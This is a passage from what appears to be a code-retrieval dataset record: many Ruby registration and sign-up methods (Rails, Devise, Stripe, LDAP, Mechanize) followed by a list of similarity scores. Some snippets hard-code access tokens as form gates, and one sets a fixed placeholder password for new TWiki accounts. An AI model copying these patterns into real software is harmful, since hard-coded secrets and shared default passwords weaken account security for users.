self.twiki_created = Time.now()\n self.save\n return true\n end\n\n\n end", "def test_service_registration_succeeds\n user = User.new randomize: true\n @web_request_helper.service_register_user user\n\n AllPages.login_page.visit(false)\n\n assert(AllPages.landing_page.page_loaded?(false), 'The user was not successfully registered or could not log in.')\n end", "def register(context = :registration)\n x = save(:context => context)\n run_callbacks(:register) { notify_observers :after_register }\n p self.errors unless x\n x\n end", "def failed_registration_with_email_already_taken\n @session.visit(@pai_main_url + @view_registration)\n fill_in_fields_and_submit(@user_email, @user_password, @user_password)\n return parse_failure_message(find_div_with_fail_message)\n end", "def create\n @registration = Registration.new(registration_params)\n\n respond_to do |format|\n if @registration.fee_waiver?\n\n # Process registration without fees.\n if @registration.save_without_payment\n NotificationMailer.registration_confirmation(@registration).deliver\n format.html { redirect_to root_url, notice: \"Your registration was successfully created. A confirmation was sent to #{@registration.email}.\" }\n else\n format.html { render action: \"new\" }\n end\n else\n # Process registration with payment\n if @registration.save_with_payment\n NotificationMailer.registration_confirmation(@registration).deliver\n format.html { redirect_to root_url(id: @registration.id, charge_id: @registration.stripe_charge_token), notice: \"Your registration was successfully created. A confirmation was sent to #{@registration.email}.\" }\n else\n format.html { render action: \"new\" }\n end\n end\n end\n\n\n rescue Stripe::CardError => e\n redirect_to new_festival_registration_path , alert: e.message + \" Please complete your registration with a valid credit card.\"\n\n rescue Stripe::InvalidRequestError => e\n redirect_to new_festival_registration_path , alert: e.message + \" Please complete your registration with a valid credit card.\"\n end", "def register\r\n\t\t#binding.pry\r\n\t\tif session.has_key?(\"user\") \r\n\t\t\tdataHash = {\r\n\t\t\t\temail: params[:email],\r\n\t\t\t\tpassword: params[:password],\r\n\t\t\t\tpassword_confirmation: params[:password_confirmation],\r\n\t\t\t\tfname: params[:fname],\r\n\t\t\t\tlname: params[:lname],\r\n\t\t\t\tgender: params[:gender],\r\n\t\t\t\tfamilyStatus: params[:familyStatus],\r\n\t\t\t\timage_id: params[:image_id],\r\n\t\t\t\tbdate: params[:bdate],\r\n mobileToken: params[:mobileToken]\r\n\t\t\t}\r\n\t\t\terrors = Api::Init.MembersControl.checkRegisterParams(dataHash)\r\n\t\t\tif errors.count != 0 \r\n\t\t\t\trender :json => Api::Init.ShowErrorJson(API_CODE_ERRORS['Services']['Global']['register_error'],I18n.t(\"errors.messages.users.register_errors\"), errors).to_json\r\n\t else\r\n\t\t\t\tif User.isUserExist(params[:email]) \r\n\t\t\t\t\tdataHash[:bdate] = Date.strptime( dataHash[:bdate], '%m/%d/%Y')\r\n\t\t\t\t\ttmpUObject = User.register(dataHash)\r\n\t\t\t\t\tunless tmpUObject\r\n\t\t\t\t\t\trender :json => Api::Init.ShowErrorJson(API_CODE_ERRORS['Services']['Global']['register_user_exist'],I18n.t(\"errors.messages.users.register_errors\"), [I18n.t(\"errors.messages.users.register_faild\")]).to_json\r\n \telse\r\n userObject = User.getFullUserData(tmpUObject.id)\r\n\t\t @responseObject = OpenStruct.new({\r\n\t\t status: true,\r\n\t\t errors: [],\r\n\t \t\t\tcode: API_CODE_ERRORS['Services']['Global']['success'],\r\n\t\t objectData: OpenStruct.new(userObject),\r\n timestamp: (Date.new).to_time.to_i.abs\r\n\t\t })\r\n\t\t \trender :template => 'api/v1/users/members/register' ,:handlers => [:rabl], :formats => [:json]\r\n\t end\r\n\t\t\t\telse\r\n\t\t\t\t\trender :json => Api::Init.ShowErrorJson(API_CODE_ERRORS['Services']['Global']['register_user_exist'],I18n.t(\"errors.messages.users.register_errors\"), [I18n.t(\"errors.messages.users.register_existedUser\")]).to_json\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\telse\r\n\t\t\trender :json => Api::Init.ShowErrorJson(API_CODE_ERRORS['Services']['Global']['login_error'],I18n.t(\"errors.messages.users.register_errors\"),[I18n.t(\"errors.messages.users.register_while_login\")]).to_json\r\n\t\tend\r\n\tend", "def registering(authentication)\n\n if (authentication.nil?)\n authentication = Authentications.new\n authentication.provider = @omniauth['provider']\n authentication.uid = @omniauth['uid']\n user = Customer.new\n # authentication.user_id = user.id Need to save the user first to generate the automated unique id\n if (@omniauth['info'])\n user.first_name = @omniauth['info']['first_name']\n user.last_name = @omniauth['info']['last_name']\n user.address = @omniauth['info']['location']\n user.description = @omniauth['info']['description']\n user.email = @omniauth['info']['email'] #auth.info.email\n user.password = Devise.friendly_token[0,20]\n end\n\n /=if (@omniauth['extra'])\n user.tempInfo = @omniauth['extra']['raw_info']\n end=/\n \n #need to check if preference exists\n preference = Preference.find_by_id(RegisterController.id)\n user.preference_id = preference.id\n \n if (!user.save)\n if(user.errors.added? :email, :taken)\n user.email = new_email_from_existing(user.email)\n user.save\n end\n end\n\n preference.customer_id = user.id\n preference.save\n\n authentication.user_id = user.id\n authentication.save \n session[:user_id] = user.id\n \n flash[:notice] = \"Thanks for registering\\n\"\n redirect_to root_path \n else \n redirect_to root_path, :notice => \"You already have an account!\\n Please logIn \"\n \n end\n\nend", "def signup\n return set_session_user_id!(nil, 'Введите данные.') { render :signup_new } if params_valid?(:signup)\n LdapService.mutex.synchronize do\n ldap_result = LdapService.new.add(\n email: params[:email],\n password: params[:password],\n name: params[:name],\n surname: params[:surname],\n role: 'painter'\n )\n return set_session_user_id!(nil, 'Невозможно зарегистрироваться.') { render :signup_new } if ldap_result.blank?\n user = User.find_by(ldap_id: ldap_result[:ldap_id])\n return set_session_user_id!(user.id, 'Вы вошли!') { redirect_to root_url } if user.present?\n user = User.new(ldap_result)\n return set_session_user_id!(user.id, 'Вы вошли!') { redirect_to root_url } if user.save\n set_session_user_id!(nil, 'Возникли проблемы. Попробуйте еще раз.') { render :signup_new }\n end\n end", "def sign_up( data )\n\n # assert url starts with 'https://listings.expressupdateusa.com/Account/Register'\n puts 'Signing up with email: ' + data[ 'personal_email' ]\n\n @browser.goto 'https://listings.expressupdateusa.com/Account/Register'\n\n @browser.text_field(:id => 'Email').set data['email']\n @browser.text_field(:id => 'Password').set data['password']\n @browser.text_field(:id => 'ConfirmPassword').set data['password']\n @browser.text_field(:id => 'Phone').set data['phone']\n @browser.text_field(:id => 'BusinessName').set data['business_name']\n @browser.text_field(:id => 'FirstName').set data['firstname']\n @browser.text_field(:id => 'LastName').set data['lastname']\n @browser.select_list(:id => 'State').select data['state']\n @browser.checkbox(:id => 'DoesAcceptTerms').set\n\n\nenter_captcha\n\n@browser.button(:class => 'RegisterNowButton').click\n\n # If no return URl then 'Thank You for Registering with Express Update. An activation email sent!'\n\nself.save_account(\"Expressupdateusa\", { :email => data['personal_email'], :password => data['password']})\n\n\nif @chained\n self.start(\"Expressupdateusa/Verify\")\nend\n\n\ntrue \nend", "def save_finish_registration\n if current_user.update(params.require(:user).permit(:birthdate, :biography, :sex, :phone_number, :country, :country_code).merge(is_newbie: false))\n extract_hash_tags_from_params\n flash['notice_persist'] = \"Hello #{current_user.full_name}, welcome to our community. Please check your inbox.\"\n redirect_to news_feed_dashboard_users_path\n else\n render 'finish_registration'\n end\n end", "def finish_signup\n @identity = Identity.find(params[:id])\n\n if request.patch?\n @identity.skip_confirmation_notification!\n if finish_signed_up_but_email_not_confirmed? || @identity.duplicate_email?\n @identity.send_confirmation_instructions\n flash[:info] = I18n.t(\"devise.confirmations.send_instructions\")\n redirect_to \"/\"\n end\n end\n end", "def personal_information\n # FIXME: please constantize the step numbers!\n if selected_plan\n if selected_plan.free?\n @step = 1\n session[:step] = 1 if (session[:step].nil? || session[:step] < 1)\n else\n @step = 2\n session[:step] = 2 if (session[:step].nil? || session[:step] < 2)\n end\n\n if current_subscriber\n @subscriber = current_subscriber\n else\n @subscriber ||= Subscriber.new\n @account = @subscriber.build_account\n @account2 ||= Account.new\n end\n if request.post?\n if params[:i_token] == 'DdM26nAJNTyuaMRXjnrF8vP8'\n if current_subscriber\n current_subscriber.validate_with_paid_account = !selected_plan.free?\n if current_subscriber.update_attributes(profile_params)\n if selected_plan.free?\n current_subscriber.apply_plan(selected_plan)\n empty_cart_session\n @subscriber.account.resend_confirmation_instructions unless @subscriber.account.confirmed?\n end\n redirect_to subscribe_shared_url\n end\n else\n s_params = subscriber_params\n account_params = s_params.delete :account\n @subscriber = Subscriber.new(s_params)\n @subscriber.validate_with_paid_account = !selected_plan.free?\n @account = Account.new(account_params)\n\n valid = @subscriber.valid?\n valid = @account.valid? && valid\n if valid\n @subscriber.save\n @account.rolable = @subscriber\n @account.save\n sign_in @account\n redirect_to subscribe_shared_url\n end\n end\n # Sign in\n elsif params[:i_token] == 'KCWUzKdK7b2s9CXBDyKjFTcG'\n @account2 = Account.find_by_email(params[:account][:email])\n if @account2 && @account2.valid_password?(params[:account][:password])\n sign_in @account2\n @subscriber = @account2.rolable\n if @subscriber.valid_profile?\n redirect_to subscribe_shared_url\n else\n flash[:notice] = \"Please update your profile\"\n end\n else\n @error = true\n @account2 ||= Account.new\n end\n else\n render_404\n end\n else\n end\n else\n redirect_to pricing_url, notice: 'Please choose a plan'\n end\n end", "def first_stage_info\n stripe = StripeCustom.new(params[:user])\n\n if stripe.met_verification\n account = Account.new(current_user.stripe_id)\n first_stage = account.update_first_stage_info( stripe, current_user )\n redirect_to second_stage_info_path\n else\n @agreement_accepted = true\n flash[:error] = \"Please provide all the details\"\n render :index\n end\n end", "def sign_up_candidate\n\n end", "def create_twiki_account\n require 'mechanize'\n agent = Mechanize.new\n agent.basic_auth(TWIKI_USERNAME, TWIKI_PASSWORD)\n agent.get(TWIKI_URL + '/do/view/TWiki/TWikiRegistration') do |page|\n registration_result = page.form_with(:action => '/do/register/Main/WebHome') do |registration|\n registration.Twk1FirstName = self.first_name\n registration.Twk1LastName = self.last_name\n registration.Twk1WikiName = self.twiki_name\n registration.Twk1Email = self.email\n registration.Twk0Password = 'just4now'\n registration.Twk0Confirm = 'justb4now'\n registration.Twk1Country = 'USA'\n # registration.action = 'register'\n # registration.topic = 'TWikiRegistration'\n # registration.rx = '%BLACKLISTPLUGIN{ action=\\\"magic\\\" }%'\n end.submit\n # #<WWW::Mechanize::Page::Link \"AndrewCarnegie\" \"/do/view/Main/AndrewCarnegie\">\n link = registration_result.link_with(:text => self.twiki_name)\n if link.nil?\n #the user probably already exists\n pp registration_result\n return false\n end\n self.twiki_created = Time.now()\n self.save_without_session_maintenance\n return true\n end\n\n\n end", "def create\n build_resource(sign_up_params)\n\n resource.save\n yield resource if block_given?\n if resource.persisted?\n if resource.active_for_authentication?\n set_flash_message! :notice, :signed_up\n sign_up(resource_name, resource)\n # respond_with resource, location: after_sign_up_path_for(resource)\n render 'users/registrations/finish_registration'\n # redirect_to(controller: \"custom_registration\", action: \"index\") and return\n else\n set_flash_message! :notice, :\"signed_up_but_#{resource.inactive_message}\"\n expire_data_after_sign_in!\n # respond_with resource, location: after_inactive_sign_up_path_for(resource)\n render 'users/registrations/finish_registration'\n # redirect_to(controller: \"custom_registration\", action: \"index\") and return\n end\n else\n clean_up_passwords resource\n set_minimum_password_length\n respond_with resource\n end\n end", "def check_user_registration\n if not user_signed_in?\n return\n end\n\n redirect_path = current_user.administrator? ? user_signup_info_edit_path(current_user) : edit_user_path(current_user)\n\n if not current_user.done_registering?\n redirect_to redirect_path\n return\n end\n\n if current_user.administrator?\n admin = current_user.becomes(current_user.type.constantize)\n if admin.account.nil? or admin.account.apps.blank?\n redirect_to redirect_path\n return\n end\n end\n\n if session['omniauth.redirect']\n redirect_to session['omniauth.redirect']\n session['omniauth.redirect'] = nil\n return\n end\n end", "def create_skeleton\n email = params[:user][:email]\n\n if email.present? && user_already_exists(email)\n flash[:error] = \"This email already has a user\"\n render action: 'new_skeleton'\n else\n @user = User.create_unfinished(email, params[:user][:registration_attributes][:ticket_type_old], params[:user][:first_name], params[:user][:last_name])\n @user.company = params[:user][:company]\n @user.save!(:validate => false)\n\n flash[:notice] = \"Skeleton user created - creation link is #{user_from_reference_url(@user.registration.unique_reference)}\"\n redirect_to new_skeleton_user_path\n\n end\n end", "def submit_signup_details_without_password\n user = Users.signup_user_without_password\n enter_signup_details(user)\n # @pages.page_home.signup_register_button\n end", "def register\n if user.save\n begin\n user.create_bucket\n rescue StandardError # Not sure what error could/would be thrown - catch all\n user.destroy\n\n raise RegistrationError, 'Something went wrong creating the user. Try again.'\n end\n end\n\n return user, user.errors\n end", "def post_signup(req)\n # Create account\n identity = Lynr::Model::Identity.new(@posted['email'], @posted['email'])\n # Create and Save dealership\n dealer = create_dealership(identity, nil)\n notify('dealership.created.demo', req, dealer)\n # Send to admin pages?\n send_to_next(req) || send_to_admin(req, dealer)\n rescue Lynr::Persist::MongoUniqueError\n attempt_signin(req)\n end", "def new_teacher_registration(form_params = {}); new_registration(form_params); end", "def candidate_sign_up\n\n end", "def create\n @registration = Registration.new(registration_params)\n\n # Amount in cents\n @amount = @registration.subtype == 'team' ? 9000 : 5000\n\n # Disabled for now,\n # customer = Stripe::Customer.create(\n # :email => params[:stripeEmail],\n # :source => params[:stripeToken]\n # )\n #\n # charge = Stripe::Charge.create(\n # :customer => customer.id,\n # :amount => @amount,\n # :description => 'EnergyX Resolve To Row',\n # :currency => 'usd'\n # )\n #\n # @registration.is_paid = true if customer && charge\n # @registration.stripe_customer_id = customer.id\n # @registration.stripe_charge_id = charge.id\n\n respond_to do |format|\n if @registration.save\n format.html { redirect_to @registration, notice: 'We have successfully created your registration! You card HAS NOT BEEN CHARGED. Please Print this page for your records.' }\n format.json { render :show, status: :created, location: @registration }\n else\n format.html { render :new }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n\n rescue Stripe::CardError => e\n flash[:error] = e.message\n redirect_to new_registration_path(@registration)\n end", "def go_to_complete_registration(incomplete_user)\n\t\tsession[:tmp_checked] = incomplete_user.id\n\t\tredirect_to '/user/new'\n\tend" ]
[ "0.6728262", "0.66782784", "0.63841045", "0.6291262", "0.62422746", "0.61941123", "0.617963", "0.6129918", "0.6129193", "0.6020003", "0.60195583", "0.5982972", "0.59671754", "0.5953941", "0.5943399", "0.59009945", "0.5895869", "0.5879699", "0.5878053", "0.58766854", "0.5867988", "0.58633995", "0.58627003", "0.58503836", "0.5842361", "0.5826391", "0.58035666", "0.58035666", "0.58035666", "0.58013684", "0.5791157", "0.57863396", "0.5783253", "0.57590777", "0.57571995", "0.5728874", "0.57249165", "0.572236", "0.56862664", "0.5670974", "0.5670158", "0.5667163", "0.566612", "0.5657068", "0.56534517", "0.5652665", "0.5648233", "0.5638837", "0.56366676", "0.5633584", "0.5633353", "0.56306", "0.56273615", "0.5607244", "0.5605285", "0.56021726", "0.56002736", "0.5594596", "0.55828047", "0.5577128", "0.55658", "0.55644405", "0.5557619", "0.55548656", "0.5549382", "0.5547077", "0.55464715", "0.554416", "0.5533665", "0.5528713", "0.5517295", "0.5516366", "0.5507916", "0.55042315", "0.54897594", "0.5489558", "0.5485904", "0.5482621", "0.5466637", "0.54549485", "0.5449863", "0.5449735", "0.54484135", "0.5448227", "0.54442555", "0.54431295", "0.544221", "0.54421854", "0.54419667", "0.5432516", "0.5432511", "0.5428617", "0.5427518", "0.5426141", "0.5421493", "0.5420783", "0.5417998", "0.5412286", "0.5407094", "0.54064363" ]
0.58120525
26
Shows the third step for the registration
def step_3 @influencer = current_user.influencer end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def second_step\n\t\trender :layout => 'signup' \n\t\tend", "def account_for\n wizard_step(STEPS) { { setup_step: :setup_step, next_step: :account_for_next_step } }\n end", "def account_details_next_step\n return STEPS if AccountType.individual?(@account.account_type)\n\n accounts_registration_user_details_path\n end", "def account_details\n wizard_step(STEPS) { { next_step: :account_details_next_step } }\n end", "def index\n @user = current_user\n render 'signup/step2'\n end", "def company_registered\n wizard_company_step(accounts_registration_address_url)\n end", "def show\n case step\n when :verify_mobile\n skip_step if current_user.mobile_verified?\n # TODO: Remove this once SMS provider has been added\n @otp = Redis.current&.get(current_user.id)\n when :enter_address\n skip_step if current_user.address_entered?\n @address = Address.find_or_initialize_by(user: current_user, address_type: :permanent)\n when :upload_docs\n skip_step if current_user.docs_uploaded?\n @user_document = UserDocument.find_or_initialize_by(user: current_user)\n end\n render_wizard\n end", "def show\n render_wizard\n end", "def new_show\n # def show\n\n # Clear the session on the first step, otherwise, load the Student\n if step == steps[0]\n reset_session\n @student = Student.create\n session[:student_id] = @student.id\n else\n @student = Student.find(session[:student_id])\n end\n\n # Render student gender pronouns\n if STUDENT_GENDER_PRONOUN_STEPS.include?(step)\n @student_gender_pronoun = genderToPronoun(@student.gender) # He/She\n @student_gender_possessive_pronoun = genderToPossessivePronoun(@student.gender) # His/Hers\n @student_gender_objective_pronoun = genderToObjectivePronoun(@student.gender) # Him/Her\n @student_gender_possessive_adjective = genderToPossessiveAdjective(@student.gender) # His/Her\n end\n\n render_wizard\n end", "def redirect_to_finish_wizard(options = nil)\n redirect_to \"/adventures/#{@adventure.slug}\", notice: \"PENDING APPROVAL: <a href='/adventures/new'> Click to add another adventure </a> \"\n end", "def redirect_to_finish_wizard(options = nil)\n redirect_to @setup, notice: \"You are ready to show your setup off to the world!\"\n end", "def show\n case step\n when :parameters\n # Create an initial input parameter if there is none\n @algorithm.input_parameters.build if @algorithm.input_parameters.empty?\n when :parameters_details\n # Possibly skip a step if there are no parameters used\n if @algorithm.input_parameters.empty?\n if @algorithm.upload?\n jump_to :parameters\n else\n flash[:notice] = \"Skipped step 3 due to no input parameters set\"\n skip_step\n end\n end\n end\n # Update the step of the algorithm.\n @algorithm.update_attribute(:status, step.to_sym) if steps.include?(step)\n render_wizard\n end", "def create\n @step_three = StepThree.new(step_three_params)\n\n respond_to do |format|\n if @step_three.save\n format.html { redirect_to \"/delivery_flows\", notice: 'Step three was successfully created.' }\n format.json { render :show, status: :created, location: @step_three }\n else\n format.html { render :new }\n format.json { render json: @step_three.errors, status: :unprocessable_entity }\n end\n end\n end", "def signup\r\n\t@title = \"Sign Up\"\r\n end", "def new\n #showing the registration page\n end", "def login_instructions\n end", "def show_third_question\n @counseling = update_counseling(counseling_params)\n @counseling.step = 1\n @next_question = CAQuestion.get_next(@counseling, 'THIRD_QUESTION')\n update_session\n render :update do |page|\n if @next_question\n @states = CounselAssistance.states if @next_question.state\n page.replace_html 'q3', :partial => 'next_question', :locals => {:question => @next_question, :selected_value => nil}\n page.visual_effect :highlight, 'q3'\n page.replace_html 'q4', ''\n end\n end\n end", "def confirmation\n load_step\n wizard_end\n end", "def show\n\t#@step = user_information\n end", "def finish_wizard_path\n admin_users_path\n end", "def create\n @user = User.new(params[:user])\n\n if @user.valid?\n if params[:next_step] == 'end'\n @user.save\n redirect_to :action => 'index'\n else\n @user.step = params[:next_step]\n render :action => 'new'\n end\n else\n render :action => 'new'\n end\n end", "def user_details\n wizard_step(STEPS) { { after_merge: :save_account } }\n end", "def signup_step1\n unless defined? params[:signup_email] or params[:signup_password]\n flash[:error] = \"Fields can't be blank !\"\n render :js => form_err_js(:signup_email, \"Please put your email and password. Fields can't be blank !\")\n else\n\n @email = params[:signup_email] if defined? params[:signup_email]\n @password = params[:signup_password] if defined? params[:signup_password]\n\n if defined? params[:type]\n case params[:type]\n when 'Student'\n @user = Student.create(:email => @email, :password => @password, :password_confirmation => @password)\n when 'Teacher'\n @user = Teacher.create(:email => @email, :password => @password, :password_confirmation => @password)\n when 'Coach'\n @user = Coach.create(:email => @email, :password => @password, :password_confirmation => @password)\n end\n redirect_to root_path, notice: \"Please check your Inbox for Account Confirmation Mail!\" if @user\n end\n end\n end", "def after_sign_up_path_for(resource)\n user_steps_path\n end", "def new\n if current_user\n flash[:notice] = 'you are already signed up'\n redirect_to home_path\n else\n @user = User.new\n render 'signup/step1'\n end\n end", "def finish_wizard_path\n '/'\n end", "def address_next_step\n return STEPS if AccountType.individual?(@account.account_type)\n\n accounts_registration_org_contact_path\n end", "def setup_step\n @post_path = wizard_post_path\n @account = wizard_load || Account.new\n end", "def successful_registration_look_for_right_hand_side_content\n @session.visit(@pai_main_url + @view_registration)\n fill_in_fields_and_submit(generate_random_email_address, @user_password, @user_password)\n end", "def submit_signup_details_without_password\n user = Users.signup_user_without_password\n enter_signup_details(user)\n # @pages.page_home.signup_register_button\n end", "def show\n @user = current_user || User.new\n case step\n when :select_language\n skip_step if I18n.locale.present?\n end\n\n case step\n when :select_country\n session[:locale] = params[:locale]\n end\n\n case step\n when :accept_terms\n session[:country] = params[:user][:country]\n end\n\n case step\n when :refuse\n end\n render_wizard\n end", "def show\n \n \n if !current_user.email.in?@study.discover_users\n redirect_to :back, notice: \"You are not a discover user on this study\"\n \n else\n render :layout=>\"study_steps\", :locals=>{:in_association=>false, :wizard_path=>study_steps_path+'/contributor'}\n\n end\n \n \n \n end", "def after_sign_up_path_for(resource)\n flash[:notice] = \"ご登録ありがとうございます。ごゆっくりご覧ください。\"\n redirect_to root_path\n end", "def show_fourth_question\n @counseling = update_counseling(counseling_params)\n @counseling.step = 1\n if @counseling[:federal_plan_id] == 5 # 'I don't know'\n # Don’t Know Federal Plan Loop\n render :update do |page|\n page.redirect_to(:controller => 'help', :action => 'federal_plan_descriptions')\n end\n update_session\n return\n end\n\n @next_question = CAQuestion.get_next(@counseling, 'FOURTH_QUESTION')\n update_session\n render :update do |page|\n if @next_question\n page.replace_html 'q4', :partial => 'next_question', :locals => {:question => @next_question, :selected_value => nil}\n page.visual_effect :highlight, 'q4'\n else\n page.replace_html 'q4', nil\n end\n end\n end", "def enter_register_information(user) \r\n puts \"+ <action> enter_register_information --- begin\"\r\n adobe_id_frame_enter_username(user[:email_address])\r\n adobe_id_frame_enter_password_2(user[:password])\r\n adobe_id_frame_retype_password(user[:retype_pass])\r\n adobe_id_frame_firstname_input(user[:first_name])\r\n adobe_id_frame_lastname_input(user[:last_name])\r\n adobe_id_select_country_region(user[:country_region])\r\n\r\n create_btn.click\r\n sleep 5\r\n puts \"+ <action> enter_register_information --- end\"\r\n\r\n if warning_display? \r\n return adobe_id_frame_warning_message.text\r\n end\r\n\r\n end", "def after_sign_up_path_for(resource)\n # super(resource)\n flash[:notice] = \"Prenez 5 minutes pour répondre à notre questionnaire afin de mieux cibler votre recherche\"\n edit_profil_path\n end", "def after_sign_up_path_for(resource)\n :new_reparation\nend", "def redirect_invalid_step\n if invalid_steps.include? step\n redirect_to wizard_path(wizard_steps[0])\n end\n end", "def show\n @user = current_user\n render_wizard\n end", "def show\n @user = current_user\n render_wizard\n end", "def show\n @user = current_user\n render_wizard\n end", "def load_wizard\n begin\n setup_wizard\n rescue InvalidStepError\n redirect_to wizard_path(wizard_steps[0])\n end\n end", "def call\n add_fields(confirm_registration: true)\n end", "def signup\n end", "def signup\n end", "def set_step_three\n @step_three = StepThree.find(params[:id])\n end", "def after_sign_up_path_for(resource)\n matcher_steps_path\n end", "def user_next_step\n if (@user = User.find_by_id(params[:id]))\n \n if (UserNextStep.exist_step?(params[:step])) and (user_next_step = UserNextStep.find_or_create_by(:user_id => @user.id)) and (!user_next_step[params[:step].to_sym])\n # Petición POST?\n if request.post?\n \n user_next_step.update_attributes(:dashboard_help => true)\n respond_to do |format|\n format.html { render :nothing => true }\n format.js { render :nothing => true }\n end\n\n else\n @step = params[:step]\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.js { render :template => 'users/user_next_step/next_step' }\n end\n end\n else\n error404\n end\n else\n error404\n end\n end", "def opinion_wizard_step_name(step)\n t(\"decidim.opinions.#{type_of}.wizard_steps.#{step}\")\n end", "def create\n @next_step = NextStep.new(next_step_params)\n\n respond_to do |format|\n if @next_step.save\n format.html { redirect_to @next_step, notice: 'Next step was successfully created.' }\n format.json { render :show, status: :created, location: @next_step }\n else\n format.html { render :new }\n format.json { render json: @next_step.errors, status: :unprocessable_entity }\n end\n end\n end", "def registration(login, pass, first_name, last_name)\n visit(HomePage)\n on(HomePage).register_element.when_visible($WT).click\n on(RegisterPage).user_login_element.when_visible($WT).send_keys login\n on(RegisterPage).user_password = pass\n on(RegisterPage).user_password_confirmation = pass\n on(RegisterPage).user_firstname = first_name\n on(RegisterPage).user_lastname = last_name\n on(RegisterPage).user_language = 'English'\n on(RegisterPage).user_mail = login + '@dd.dd'\n on(RegisterPage).submit\n end", "def step2\n user = User.new\n user.first_name = params[:first_name]\n user.last_name = params[:last_name]\n user.email = params[:username]\n user.email_confirmation = params[:username_confirmation]\n user.password = params[:password]\n user.password_confirmation = params[:password_confirmation]\n session[:user] = user\n if user.valid?\n session[:errors] = nil\n else\n session[:errors] = user.errors\n redirect_to admin_signup_step1_path\n end\n end", "def show\n if @project.steps.length.zero?\n flash[:alert] = \"You have no steps for this project's timeline. Create one now to get started.\"\n end\n end", "def show\n\t\t@user = current_user\n\t\trender_wizard\n\tend", "def create\n @wizard = Wizard.new(wizard_params)\n @wizard.modelstate_id = @wizard.next_state.id\n\n\n respond_to do |format|\n if @wizard.save\n\n # @wizardcustomtemplate = Wizardcustomtemplate.new\n # @wizardcustomtemplate.wizard_id = @wizard.id\n @eligibility = Cict.eligibilitytemplate(@wizard.commitmentitem_id)\n # @wizardcustomtemplate.customtemplate_id = @eligibility.first.id\n # @wizardcustomtemplate.user_id = current_user.id\n # @wizardcustomtemplate.save!\n\n if @eligibility.blank?\n format.html { redirect_to edit_wizard_path(@wizard), notice: \"Current step: #{@wizard.current_state.first.state}\" }\n else\n\n\n format.html { redirect_to eligibility_wizards_path(:id=>@wizard.id), notice: \"Current step: #{@wizard.current_state.first.state}\" }\n end \n format.json { render :show, status: :created, location: @wizard }\n else\n format.html { render :new }\n format.json { render json: @wizard.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @wizard = Wizard.new(wizard_params)\n\n if @wizard.save\n redirect_to \"/wizards\"\n else\n render :new\n end\n end", "def create\n @next_step = NextStep.new(params[:next_step])\n\n respond_to do |format|\n if @next_step.save\n format.html { redirect_to :back, notice: 'Next step was successfully created.' }\n format.json { render json: @next_step, status: :created, location: @next_step }\n else\n format.html { render action: \"new\" }\n format.json { render json: @next_step.errors, status: :unprocessable_entity }\n end\n end\n end", "def planner_step_three\n\n @response = CompanyApi::Request::Economy.new(\n CompanyApi::Response::Formatter::Economy,\n request.cookies,\n {\"User-Agent\" => http_user_agent}\n ).fetch_planner_step_three_details\n\n # Check if error present or not?\n unless @response.success?\n render_error_response(@response)\n return\n end\n\n @presenter_obj = ::WebPresenter::Economy::Planner.new(@response, params)\n\n end", "def edit\n redirect_to wizard_path(steps[0])\n end", "def register\n\t\ttype = @view.type_client\n\t\t# user_attributes = @view.display_register\n\t\tif type == \"admin\"\n\t\t\tuser_attributes = @view.display_register\n\t\t\tuser = Admin.new(user_attributes[0], user_attributes[1], user_attributes[2])\n\t\t\tuser.add_user(user)\n\t\t\t@current_user = user\n\t\t\toption = @view.second_view(user, user.actions)\n\t\t\tlist(option)\n\t\telsif type == \"vendor\"\n\t\t\tuser_attributes = @view.display_register\n\t\t\tuser = Vendor.new(user_attributes[0], user_attributes[1], user_attributes[2])\n\t\t\tuser.add_user(user)\n\t\t\t@current_user = user\n\t\t\toption = @view.second_view(user, user.actions)\n\t\t\tlist(option)\n\t\telsif type == \"client\"\n\t\t\tuser_attributes = @view.display_register\n\t\t\tuser = Client.new(user_attributes[0], user_attributes[1], user_attributes[2])\n\t\t\tuser.add_user(user)\n\t\t\t@current_user = user\n\t\t\toption = @view.second_view(user, user.actions)\n\t\t\tlist(option)\n\t\telse\n\t\t \tputs \"Try again\"\n\t\t \tputs \"\"\n\t\t \toption = @view.initial_view\n\t\t \tselect(option)\n\t\tend\n\tend", "def signup\n @teacher = Teacher.new\n render 'signup', :layout => false\n end", "def steps\n %w[\n household_member_demographics_step\n household_member_address_step\n household_member_address_search_results_step\n household_member_citizenship_step\n household_member_education_step\n household_member_employments_step\n household_member_assessment_employment_step\n household_member_incomes_step\n household_member_unearned_incomes_step\n household_member_expenses_step\n household_member_resources_step\n household_member_relations_step\n ]\n end", "def registration\n @registration = Registration.for_user(current_user).for_olympiad(@olympiad).first\n @active_tab = params[:page] || \"me\"\n redirect_to :action=>\"register\" unless @registration\n end", "def wizard\n case params[:step]\n when '2'\n @search = Group.active.includes(:members).search(search_params) \n @search.sorts = 'members_count DESC' if @search.sorts.empty?\n @groups = @search.result().page(params[:page]).per(12) \n end\n render \"users/wizard/step_#{params[:step]}\"\n end", "def step_three_params\n params.require(:step_three).permit(:numeroFactura, :vehiculo, :nombreVendedor, :cliente, :notasCargo, :notasCredito, :pedido, :user_id, :completado)\n end", "def new\n \t@client = Client.new\n @page_title = \"Registration\"\n end", "def after_sign_up_path_for(resource)\n # flash[:notice] = 'You must create a Profile'\n '/profiles/new'\n end", "def next_wizard_button(main_wizard_model, label = 'Next')\n submit_tag(\"#{label} &#8594;\") +\n hidden_direction_field\n end", "def new\n @user = User.new\n \n respond_to do |format|\n format.html do\n case params[:registration_method] \n when 'third_party'\n redirect_to new_third_party_registration_path\n end\n end\n end\n end", "def show\n\n if UPDATED_STEPS.include?(step)\n return new_show\n end\n\n # def old_show\n # Variables for navigation purposes\n @student_start = :student_name\n @guardian_start = :guardian_name_and_address\n @contact_start = :contact_person_1_contact_info\n @permissions = :permissions\n @summary = :summary\n\n begin\n @student = Student.find(session[:student_id])\n rescue\n @student = Student.new\n end\n\n begin\n @guardian = ContactPerson.find(session[:guardian_id]) # TODO Placeholder for getting through UI\n rescue\n @guardian = ContactPerson.create # TODO Placeholder for getting through UI\n end\n\n if session[:second_guardian_id]\n @second_guardian = ContactPerson.find(session[:second_guardian_id])\n else\n @second_guardian = ContactPerson.new\n end\n\n if step == :guardian_phone_and_email\n\n end\n\n #Handle gender pronouns, but not for first step\n if step != :student_gender_and_ethnicity\n @gender_pronoun = genderToPronoun(@student.gender)\n @gender_possessive_pronoun = 